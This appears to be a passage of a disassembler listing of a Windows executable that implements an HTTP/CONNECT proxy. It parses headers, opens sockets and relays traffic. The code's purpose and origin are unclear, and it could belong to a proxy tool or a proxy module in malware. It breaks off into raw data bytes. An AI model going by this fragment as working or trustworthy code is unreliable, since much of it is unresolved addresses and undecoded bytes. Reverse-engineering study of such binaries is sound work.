[esi+0A1h] mov [esp+2Ch+var_4], 0 call sub_401424 push 0 push 2Ah push 2Eh push 2Eh lea eax, [esp+3Ch+var_24] push 22h push eax mov byte ptr [esp+44h+var_4], 1 mov dword ptr [esi], offset off_43E14C call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+2Ch+var_4], 2 call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4015D7 lea ecx, [esp+2Ch+var_24] mov byte ptr [esp+2Ch+var_4], 1 call sub_401226 mov ecx, [esp+2Ch+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 28h retn sub_428160 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428220 proc near ; CODE XREF: ___:00401E15j sub_4021B2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BD1 test [esp+4+arg_0], 1 jz short loc_428238 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_428238: ; CODE XREF: sub_428220+Dj mov eax, esi pop esi retn 4 sub_428220 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428250 proc near ; CODE XREF: sub_401BD1j push esi mov esi, ecx push edi mov edi, dword_50FC88 mov eax, [esi+0BFh] mov dword ptr [esi], offset off_43E14C cmp eax, 0FFFFFFFFh jz short loc_42826E push eax call edi ; closesocket loc_42826E: ; CODE XREF: sub_428250+19j mov eax, [esi+0BBh] cmp eax, 0FFFFFFFFh jz short loc_42827C push eax call edi ; closesocket loc_42827C: ; CODE XREF: sub_428250+27j lea ecx, [esi+0A1h] call sub_401226 mov ecx, esi call sub_40179E pop edi pop esi retn sub_428250 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4282C0 proc near ; CODE XREF: sub_401D2Aj var_B0 = byte ptr -0B0h var_AA = byte ptr -0AAh var_A8 = byte ptr -0A8h var_A7 = byte ptr -0A7h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_5C = byte ptr -5Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_3C = byte ptr -3Ch var_34 = byte ptr -34h var_2C = dword ptr -2Ch var_26 = byte ptr -26h var_24 = byte ptr -24h var_20 = byte ptr -20h var_18 = byte ptr -18h var_C = byte ptr -0Ch var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_4 = byte ptr -4 arg_C = byte ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_24 = byte ptr 28h arg_28 = byte ptr 2Ch arg_34 = byte ptr 38h arg_3C = byte ptr 40h arg_40 = byte ptr 44h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_4A = word ptr 4Eh arg_4C = dword ptr 50h arg_50 = dword ptr 54h arg_54 = dword ptr 58h arg_58 = dword ptr 5Ch arg_64 = byte ptr 68h arg_68 = byte ptr 6Ch arg_6C = byte ptr 70h arg_91 = byte ptr 95h arg_98 = byte ptr 9Ch arg_9D = byte ptr 0A1h arg_AD = byte ptr 0B1h arg_D0 = dword ptr 0D4h arg_D4 = byte ptr 0D8h arg_E0 = dword ptr 0E4h arg_E4 = byte ptr 0E8h arg_EC = dword ptr 0F0h arg_F0 = byte ptr 0F4h arg_FC = byte ptr 100h arg_108 = byte ptr 10Ch arg_12C = byte ptr 130h arg_150 = byte ptr 154h arg_15C = byte ptr 160h arg_180 = byte ptr 184h arg_18C = byte ptr 190h arg_1A4 = byte ptr 1A8h arg_1B0 = byte ptr 1B4h arg_1F8 = byte ptr 1FCh arg_210 = byte ptr 214h arg_228 = byte ptr 22Ch arg_230 = byte ptr 234h arg_240 = byte ptr 244h arg_244 = dword ptr 248h arg_248 = dword ptr 24Ch arg_24C = dword ptr 250h arg_258 = byte ptr 25Ch arg_374 = byte ptr 378h arg_3EC = byte ptr 3F0h arg_3FC = byte ptr 400h arg_40C = byte ptr 410h arg_41C = byte ptr 420h arg_42C = byte ptr 430h arg_43C = byte ptr 440h arg_44C = byte ptr 450h arg_45C = byte ptr 460h arg_478 = byte ptr 47Ch arg_4478 = byte ptr 447Ch arg_53D0 = dword ptr 53D4h arg_53E0 = dword ptr 53E4h arg_5434 = byte ptr 5438h arg_5444 = byte ptr 5448h arg_544C = dword ptr 5450h arg_5454 = dword ptr 5458h arg_5480 = dword ptr 5484h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43BA92 push eax mov eax, 5488h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov ebp, ecx or esi, 0FFFFFFFFh push edi mov [ebp+0BFh], esi mov byte ptr [esp+11h], 0 mov [esp+1Ch+var_A], 0 loc_4282F8: ; CODE XREF: sub_4282C0+FC6j lea ecx, [esp+1Ch+arg_98] call sub_401B36 lea ecx, [esp+1Ch+var_8] mov [esp+1Ch+arg_5480], 0 mov [esp+1Ch+var_9], 0 call sub_401424 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+20h+arg_374] push 104h push eax push ecx mov byte ptr [esp+2Ch+arg_5480], 1 call sub_401280 add esp, 10h test al, al jz loc_429310 lea edx, [esp+1Ch+arg_374] lea ecx, [esp+1Ch+arg_10] push edx call sub_401861 push offset byte_446F70 lea ecx, [esp+20h+arg_10] mov byte ptr [esp+20h+arg_5480], 2 call sub_4012EE test eax, eax jnz short loc_4283B0 lea ecx, [esp+1Ch+arg_10] mov byte ptr [esp+1Ch+arg_5480], 1 call sub_401226 lea ecx, [esp+1Ch+var_8] mov byte ptr [esp+1Ch+arg_5480], 0 call sub_401226 lea ecx, [esp+1Ch+arg_98] mov [esp+1Ch+arg_5480], esi call sub_4014B0 jmp loc_429280 ; --------------------------------------------------------------------------- loc_4283B0: ; CODE XREF: sub_4282C0+B4j push offset asc_443600 ; " " lea eax, [esp+20h+arg_210] push 0 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset off_445258 mov ecx, eax mov byte ptr [esp+20h+arg_5480], 3 call sub_401500 test eax, eax lea ecx, [esp+1Ch+arg_210] mov byte ptr [esp+1Ch+arg_5480], 2 setz bl call sub_401226 test bl, bl jz short loc_428475 push offset asc_443600 ; " " lea ecx, [esp+20h+arg_1F8] push 1 push ecx lea ecx, [esp+28h+arg_10] mov [esp+28h+var_9], 1 call sub_4016AE lea edx, [esp+1Ch+arg_98] mov ecx, eax push edx mov byte ptr [esp+20h+arg_5480], 4 call sub_4017E4 push eax call sub_401938 add esp, 8 lea ecx, [esp+1Ch+arg_1F8] test al, al setz bl mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 test bl, bl jnz loc_4292FF push offset aHttp ; "http" lea ecx, [esp+20h+arg_98] call sub_4012EE test eax, eax jnz loc_4292FF jmp loc_42866A ; --------------------------------------------------------------------------- loc_428475: ; CODE XREF: sub_4282C0+137j push offset asc_443600 ; " " lea eax, [esp+20h+arg_228] push 0 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset aConnect_0 ; "CONNECT" mov ecx, eax mov byte ptr [esp+20h+arg_5480], 5 call sub_401500 test eax, eax lea ecx, [esp+1Ch+arg_228] mov byte ptr [esp+1Ch+arg_5480], 2 setz bl call sub_401226 test bl, bl jz loc_42866A push offset aConnect ; "connect" lea ecx, [esp+20h+arg_98] mov [esp+20h+var_9], 0 call sub_4015D7 push offset byte_446F70 lea ecx, [esp+20h+arg_F0] call sub_4015D7 push offset asc_443600 ; " " lea ecx, [esp+20h+arg_108] push 1 push ecx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+20h+arg_150] push 0 push edx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 6 call sub_4016AE push eax lea ecx, [esp+20h+arg_AD] mov byte ptr [esp+20h+arg_5480], 7 call sub_401FBE lea ecx, [esp+1Ch+arg_150] mov byte ptr [esp+1Ch+arg_5480], 6 call sub_401226 lea ecx, [esp+1Ch+arg_108] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 push offset asc_443600 ; " " lea eax, [esp+20h+arg_258] push 1 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C94 ; ":" lea ecx, [esp+20h+arg_180] push 1 push ecx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 8 call sub_4016AE mov ecx, eax mov byte ptr [esp+1Ch+arg_5480], 9 call sub_4017E4 test eax, eax lea ecx, [esp+1Ch+arg_180] mov byte ptr [esp+1Ch+arg_5480], 8 setz bl call sub_401226 lea ecx, [esp+1Ch+arg_258] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 test bl, bl jnz loc_4292FF push offset asc_443600 ; " " lea edx, [esp+20h+arg_240] push 1 push edx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C94 ; ":" lea ecx, [esp+20h+arg_1B0] push 1 push ecx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 0Ah call sub_4016AE mov ecx, eax mov byte ptr [esp+1Ch+arg_5480], 0Bh call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+1Ch+arg_1B0] mov [esp+1Ch+arg_EC], eax mov byte ptr [esp+1Ch+arg_5480], 0Ah call sub_401226 lea ecx, [esp+1Ch+arg_240] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 mov eax, [esp+1Ch+arg_EC] test eax, eax jnz short loc_42866A mov [esp+1Ch+arg_EC], 50h loc_42866A: ; CODE XREF: sub_4282C0+1B0j ; sub_4282C0+1FCj ... push offset asc_443600 ; " " lea edx, [esp+20h+arg_28] push 0 push edx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset byte_446F70 lea ecx, [esp+20h+arg_28] mov byte ptr [esp+20h+arg_5480], 0Ch call sub_4012EE test eax, eax jz loc_4292EE push offset asc_443600 ; " " lea eax, [esp+20h+arg_40] push 2 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset byte_446F70 lea ecx, [esp+20h+arg_40] mov byte ptr [esp+20h+arg_5480], 0Dh call sub_4012EE test eax, eax jz loc_4292DD lea ecx, [esp+1Ch+arg_AD] push ecx lea ecx, [esp+20h+arg_68] call sub_4014C9 mov ecx, 1000h xor eax, eax lea edi, [esp+1Ch+arg_478] or ebx, 0FFFFFFFFh rep stosd mov edi, offset aHttprox ; "HTTPROX" mov ecx, ebx repne scasb not ecx sub edi, ecx lea edx, [esp+1Ch+arg_4478] mov eax, ecx mov esi, edi mov edi, edx mov byte ptr [esp+1Ch+arg_5480], 0Eh shr ecx, 2 rep movsd mov ecx, eax lea eax, [esp+1Ch+arg_4478] and ecx, 3 rep movsb mov esi, offset asc_445230 ; "\r\n" loc_428731: ; CODE XREF: sub_4282C0+48Fj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428755 test cl, cl jz short loc_428751 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428755 add eax, 2 add esi, 2 test cl, cl jnz short loc_428731 loc_428751: ; CODE XREF: sub_4282C0+47Bj xor eax, eax jmp short loc_428759 ; --------------------------------------------------------------------------- loc_428755: ; CODE XREF: sub_4282C0+477j ; sub_4282C0+485j sbb eax, eax sbb eax, ebx loc_428759: ; CODE XREF: sub_4282C0+493j test eax, eax jz loc_428833 mov edi, dword_50FACC loc_428767: ; CODE XREF: sub_4282C0+56Dj mov esi, offset byte_446F70 lea eax, [esp+1Ch+arg_4478] loc_428773: ; CODE XREF: sub_4282C0+4D1j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428797 test cl, cl jz short loc_428793 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428797 add eax, 2 add esi, 2 test cl, cl jnz short loc_428773 loc_428793: ; CODE XREF: sub_4282C0+4BDj xor eax, eax jmp short loc_42879B ; --------------------------------------------------------------------------- loc_428797: ; CODE XREF: sub_4282C0+4B9j ; sub_4282C0+4C7j sbb eax, eax sbb eax, ebx loc_42879B: ; CODE XREF: sub_4282C0+4D5j test eax, eax jz loc_428833 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+20h+arg_4478] push 1000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_429339 lea edx, [esp+1Ch+arg_4478] push 4000h lea eax, [esp+20h+arg_478] push edx push eax call edi ; strncat push 4000h lea ecx, [esp+2Ch+arg_478] push offset asc_445230 ; "\r\n" push ecx call edi ; strncat add esp, 18h mov esi, offset asc_445230 ; "\r\n" lea eax, [esp+1Ch+arg_4478] loc_428803: ; CODE XREF: sub_4282C0+561j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428827 test cl, cl jz short loc_428823 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428827 add eax, 2 add esi, 2 test cl, cl jnz short loc_428803 loc_428823: ; CODE XREF: sub_4282C0+54Dj xor eax, eax jmp short loc_42882B ; --------------------------------------------------------------------------- loc_428827: ; CODE XREF: sub_4282C0+549j ; sub_4282C0+557j sbb eax, eax sbb eax, ebx loc_42882B: ; CODE XREF: sub_4282C0+565j test eax, eax jnz loc_428767 loc_428833: ; CODE XREF: sub_4282C0+49Bj ; sub_4282C0+4DDj mov esi, dword_50FAF8 lea eax, [esp+1Ch+arg_478] push offset aProxyConnectio ; "Proxy-Connection:" push eax call esi ; strstr add esp, 8 test eax, eax jz short loc_428887 push offset asc_443C94 ; ":" push eax call esi ; strstr add esp, 8 inc eax jz short loc_428887 cmp byte ptr [eax], 20h jnz short loc_42886B loc_428862: ; CODE XREF: sub_4282C0+5A9j mov cl, [eax+1] inc eax cmp cl, 20h jz short loc_428862 loc_42886B: ; CODE XREF: sub_4282C0+5A0j push offset aKeepAlive ; "Keep-Alive" push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz short loc_428887 mov byte ptr [ebp+0BAh], 1 jmp short loc_42888E ; --------------------------------------------------------------------------- loc_428887: ; CODE XREF: sub_4282C0+58Dj ; sub_4282C0+59Bj ... mov byte ptr [ebp+0BAh], 0 loc_42888E: ; CODE XREF: sub_4282C0+5C5j cmp [ebp+0BFh], ebx jnz loc_428926 push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, ebx mov [ebp+0BFh], eax jz loc_42940D mov edx, [esp+28h+arg_E0] xor ecx, ecx mov [esp+28h+arg_4C], ecx push edx mov [esp+2Ch+arg_50], ecx mov word ptr [esp+2Ch+arg_4C], 2 mov [esp+2Ch+arg_54], ecx mov [esp+2Ch+arg_58], ecx nop call near ptr 71AB2B66h lea ecx, [esp+2Ch+arg_9D] mov [esp+2Ch+arg_4A], ax call sub_4017E4 push eax call sub_40187F add esp, 4 cmp eax, ebx mov [esp+2Ch+arg_4C], eax jz loc_42934B mov ecx, [ebp+0BFh] lea eax, [esp+2Ch+arg_48] push 10h push eax push ecx call near ptr 71AB406Ah nop cmp eax, ebx jz loc_4293A8 loc_428926: ; CODE XREF: sub_4282C0+5D4j mov al, [esp+13h] test al, al jz loc_428FCE mov al, [ebp+0BAh] test al, al jz short loc_428971 lea edx, [esp+38h+arg_45C] lea ecx, [esp+38h+arg_24] push edx call sub_4017E4 push eax lea ecx, [esp+40h+arg_D4] call sub_4017E4 push eax lea ecx, [esp+44h+arg_C] call sub_4017E4 push eax lea eax, [esp+48h+var_24] push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s" push eax jmp short loc_4289A4 ; --------------------------------------------------------------------------- loc_428971: ; CODE XREF: sub_4282C0+67Aj lea ecx, [esp+38h+arg_45C] push ecx lea ecx, [esp+3Ch+arg_24] call sub_4017E4 push eax lea ecx, [esp+40h+arg_D4] call sub_4017E4 push eax lea ecx, [esp+44h+arg_C] call sub_4017E4 push eax lea edx, [esp+48h+var_24] push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s" push edx loc_4289A4: ; CODE XREF: sub_4282C0+6AFj call sub_40102D add esp, 18h lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 push eax mov eax, [ebp+0BFh] push eax nop call near ptr 71AB428Ah test eax, eax jz loc_4293F2 cmp eax, ebx jz loc_4293F2 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+4Ch+arg_44C] push 4000h push ecx push edx call sub_401280 add esp, 10h test al, al jz loc_42941F mov edi, offset asc_445230 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+48h+arg_44C] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+4Ch+arg_44C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+4Ch+arg_44C] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah xor ebx, ebx mov esi, offset asc_445230 ; "\r\n" mov [esp+58h+var_2C], ebx lea eax, [esp+58h+arg_43C] loc_428A6E: ; CODE XREF: sub_4282C0+7CCj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428A92 test cl, cl jz short loc_428A8E mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428A92 add eax, 2 add esi, 2 test cl, cl jnz short loc_428A6E loc_428A8E: ; CODE XREF: sub_4282C0+7B8j xor eax, eax jmp short loc_428A97 ; --------------------------------------------------------------------------- loc_428A92: ; CODE XREF: sub_4282C0+7B4j ; sub_4282C0+7C2j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428A97: ; CODE XREF: sub_4282C0+7D0j test eax, eax jz loc_428E19 loc_428A9F: ; CODE XREF: sub_4282C0+B48j mov esi, offset byte_446F70 lea eax, [esp+58h+arg_43C] loc_428AAB: ; CODE XREF: sub_4282C0+80Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428AD3 test cl, cl jz short loc_428ACF mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428AD3 add eax, 2 add esi, 2 test cl, cl jnz short loc_428AAB loc_428ACF: ; CODE XREF: sub_4282C0+7F7j xor eax, eax jmp short loc_428AD8 ; --------------------------------------------------------------------------- loc_428AD3: ; CODE XREF: sub_4282C0+7F3j ; sub_4282C0+803j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428AD8: ; CODE XREF: sub_4282C0+811j test eax, eax jz loc_428E15 mov ecx, [ebp+0BFh] push 0 lea eax, [esp+5Ch+arg_43C] push 4000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_428E10 lea edx, [esp+58h+arg_43C] lea ecx, [esp+58h+arg_44] push edx call sub_401861 push offset asc_443600 ; " " lea eax, [esp+5Ch+arg_1A4] push 0 push eax lea ecx, [esp+64h+arg_44] mov [esp+64h+arg_5444], 0Fh call sub_4016AE push offset aContentLength ; "Content-Length:" mov ecx, eax mov [esp+5Ch+arg_5444], 10h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_1A4] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428BBA push offset asc_443600 ; " " lea ecx, [esp+5Ch+arg_E4] push 1 push ecx lea ecx, [esp+64h+arg_44] call sub_4016AE mov ecx, eax mov [esp+58h+arg_5444], 11h call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+58h+arg_E4] mov [esp+58h+var_2C], eax mov [esp+58h+arg_5444], 0Fh call sub_401226 loc_428BBA: ; CODE XREF: sub_4282C0+8ACj push offset asc_443600 ; " " lea edx, [esp+5Ch+arg_FC] push 0 push edx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aTransferEncodi ; "Transfer-Encoding:" mov ecx, eax mov [esp+5Ch+arg_5444], 12h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_FC] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428C49 push offset asc_443600 ; " " lea eax, [esp+5Ch+arg_12C] push 1 push eax lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aChunked ; "chunked" mov ecx, eax mov [esp+5Ch+arg_5444], 13h call sub_401500 lea ecx, [esp+58h+arg_12C] mov [esp+58h+arg_5444], 0Fh call sub_401226 loc_428C49: ; CODE XREF: sub_4282C0+944j push offset asc_443600 ; " " lea ecx, [esp+5Ch+arg_15C] push 0 push ecx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aConnection ; "Connection:" mov ecx, eax mov [esp+5Ch+arg_5444], 14h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_15C] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428CE4 push offset asc_443600 ; " " lea edx, [esp+5Ch+arg_18C] push 1 push edx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aKeepAlive ; "Keep-Alive" mov ecx, eax mov [esp+5Ch+arg_5444], 15h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_18C] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl setnz [esp+58h+var_47] loc_428CE4: ; CODE XREF: sub_4282C0+9D3j mov esi, offset asc_445230 ; "\r\n" lea eax, [esp+58h+arg_43C] loc_428CF0: ; CODE XREF: sub_4282C0+A52j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428D18 test cl, cl jz short loc_428D14 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428D18 add eax, 2 add esi, 2 test cl, cl jnz short loc_428CF0 loc_428D14: ; CODE XREF: sub_4282C0+A3Cj xor eax, eax jmp short loc_428D1D ; --------------------------------------------------------------------------- loc_428D18: ; CODE XREF: sub_4282C0+A38j ; sub_4282C0+A48j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428D1D: ; CODE XREF: sub_4282C0+A56j test eax, eax jz loc_428DB9 mov esi, offset byte_446F70 lea eax, [esp+58h+arg_43C] loc_428D31: ; CODE XREF: sub_4282C0+A93j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428D59 test cl, cl jz short loc_428D55 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428D59 add eax, 2 add esi, 2 test cl, cl jnz short loc_428D31 loc_428D55: ; CODE XREF: sub_4282C0+A7Dj xor eax, eax jmp short loc_428D5E ; --------------------------------------------------------------------------- loc_428D59: ; CODE XREF: sub_4282C0+A79j ; sub_4282C0+A89j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428D5E: ; CODE XREF: sub_4282C0+A97j test eax, eax jz short loc_428DB9 mov edi, offset asc_445230 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+58h+arg_43C] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+5Ch+arg_43C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+5Ch+arg_43C] push ecx mov ecx, [ebp+0BBh] push eax push ecx call near ptr 71AB428Ah nop loc_428DB9: ; CODE XREF: sub_4282C0+A5Fj ; sub_4282C0+AA0j lea ecx, [esp+68h+arg_34] mov [esp+68h+arg_5434], 0Eh call sub_401226 mov esi, offset asc_445230 ; "\r\n" lea eax, [esp+68h+arg_42C] loc_428DD9: ; CODE XREF: sub_4282C0+B3Bj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428E01 test cl, cl jz short loc_428DFD mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428E01 add eax, 2 add esi, 2 test cl, cl jnz short loc_428DD9 loc_428DFD: ; CODE XREF: sub_4282C0+B25j xor eax, eax jmp short loc_428E06 ; --------------------------------------------------------------------------- loc_428E01: ; CODE XREF: sub_4282C0+B21j ; sub_4282C0+B31j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428E06: ; CODE XREF: sub_4282C0+B3Fj test eax, eax jnz loc_428A9F jmp short loc_428E15 ; --------------------------------------------------------------------------- loc_428E10: ; CODE XREF: sub_4282C0+840j mov [esp+58h+var_46], 1 loc_428E15: ; CODE XREF: sub_4282C0+81Aj ; sub_4282C0+B4Ej mov ebx, [esp+58h+var_2C] loc_428E19: ; CODE XREF: sub_4282C0+7D9j mov al, [esp+58h+var_47] push 0 test al, al jz short loc_428E41 mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [ebp+0BBh] not ecx dec ecx push ecx push offset aConnectionKeep ; "Connection: Keep-Alive\r\n" push eax jmp short loc_428E5D ; --------------------------------------------------------------------------- loc_428E41: ; CODE XREF: sub_4282C0+B61j mov edi, offset aConnectionClos ; "Connection: Close\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, [ebp+0BBh] push offset aConnectionClos ; "Connection: Close\r\n" push ecx loc_428E5D: ; CODE XREF: sub_4282C0+B7Fj nop call near ptr 71AB428Ah mov edi, offset asc_445230 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+68h+arg_42C] repne scasb not ecx sub edi, ecx push 0 mov eax, ecx mov esi, edi mov edi, edx mov edx, [ebp+0BBh] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+6Ch+arg_42C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx lea ecx, [esp+70h+arg_42C] push ecx push edx nop call near ptr 71AB428Ah test ebx, ebx jz loc_428F8C xor edi, edi test ebx, ebx jle short loc_428F14 loc_428EC3: ; CODE XREF: sub_4282C0+C52j mov eax, ebx sub eax, edi cmp eax, 4000h jbe short loc_428F14 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+7Ch+arg_41C] push 4000h push ecx push edx call near ptr 71AB615Ah nop mov esi, eax cmp esi, 1 jl short loc_428F14 cmp esi, 0FFFFFFFFh jz short loc_428F14 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+8Ch+arg_40C] push esi push eax push ecx nop call near ptr 71AB428Ah add edi, esi cmp edi, ebx jl short loc_428EC3 loc_428F14: ; CODE XREF: sub_4282C0+C01j ; sub_4282C0+C0Cj ... mov eax, ebx sub eax, edi jz short loc_428F5E loc_428F1A: ; CODE XREF: sub_4282C0+C9Cj push 0 push eax mov eax, [ebp+0BFh] lea edx, [esp+0A0h+arg_3FC] push edx push eax nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_428F5E cmp esi, 0FFFFFFFFh jz short loc_428F5E mov edx, [ebp+0BBh] push 0 lea ecx, [esp+0ACh+arg_3EC] push esi push ecx push edx call near ptr 71AB428Ah nop add edi, esi mov eax, ebx sub eax, edi jnz short loc_428F1A loc_428F5E: ; CODE XREF: sub_4282C0+C58j ; sub_4282C0+C77j ... mov al, [ebp+0BAh] test al, al jnz loc_4291EF mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h or esi, 0FFFFFFFFh mov [esp+0BCh+var_AA], 1 mov [ebp+0BBh], esi jmp loc_4291F2 ; --------------------------------------------------------------------------- loc_428F8C: ; CODE XREF: sub_4282C0+BF7j mov esi, dword_50FC90 loc_428F92: ; CODE XREF: sub_4282C0+D0Cj mov ecx, [ebp+0BFh] push 0 lea eax, [esp+7Ch+arg_41C] push 4000h push eax push ecx call esi ; recv cmp eax, 1 jl short loc_428F5E cmp eax, 0FFFFFFFFh jz short loc_428F5E push 0 push eax mov eax, [ebp+0BBh] lea edx, [esp+90h+arg_40C] push edx push eax nop call near ptr 71AB428Ah jmp short loc_428F92 ; --------------------------------------------------------------------------- loc_428FCE: ; CODE XREF: sub_4282C0+66Cj lea ecx, [esp+38h+var_24] push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"... push ecx call sub_40102D add esp, 8 lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 mov edx, [ebp+0BBh] push eax push edx nop call near ptr 71AB428Ah test eax, eax jz loc_429492 cmp eax, ebx jz loc_429492 mov ebx, dword_50FC90 mov eax, [ebp+0BBh] mov edx, [ebp+0BFh] mov [esp+48h+arg_248], eax mov [esp+48h+arg_244], 1 xor eax, eax lea ecx, [esp+48h+arg_248] loc_429040: ; CODE XREF: sub_4282C0+D8Bj cmp [ecx], edx jz short loc_42904D inc eax add ecx, 4 cmp eax, 1 jb short loc_429040 loc_42904D: ; CODE XREF: sub_4282C0+D82j cmp eax, 1 jnz short loc_429064 mov [esp+48h+arg_24C], edx mov [esp+48h+arg_244], 2 loc_429064: ; CODE XREF: sub_4282C0+D90j mov ecx, 1000h xor eax, eax lea edi, [esp+48h+arg_44C] push eax rep stosd push eax lea ecx, [esp+50h+arg_244] push eax push ecx push eax nop call near ptr 71AB2DC0h mov eax, [ebp+0BBh] lea edx, [esp+5Ch+arg_230] push edx push eax call sub_436F60 ; --------------------------------------------------------------------------- dw 0C085h dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h dd 0A024848Dh, 50000004h, 0B3E89051h, 837168B1h, 840FFFF8h dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h dd 0DE6Ch, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 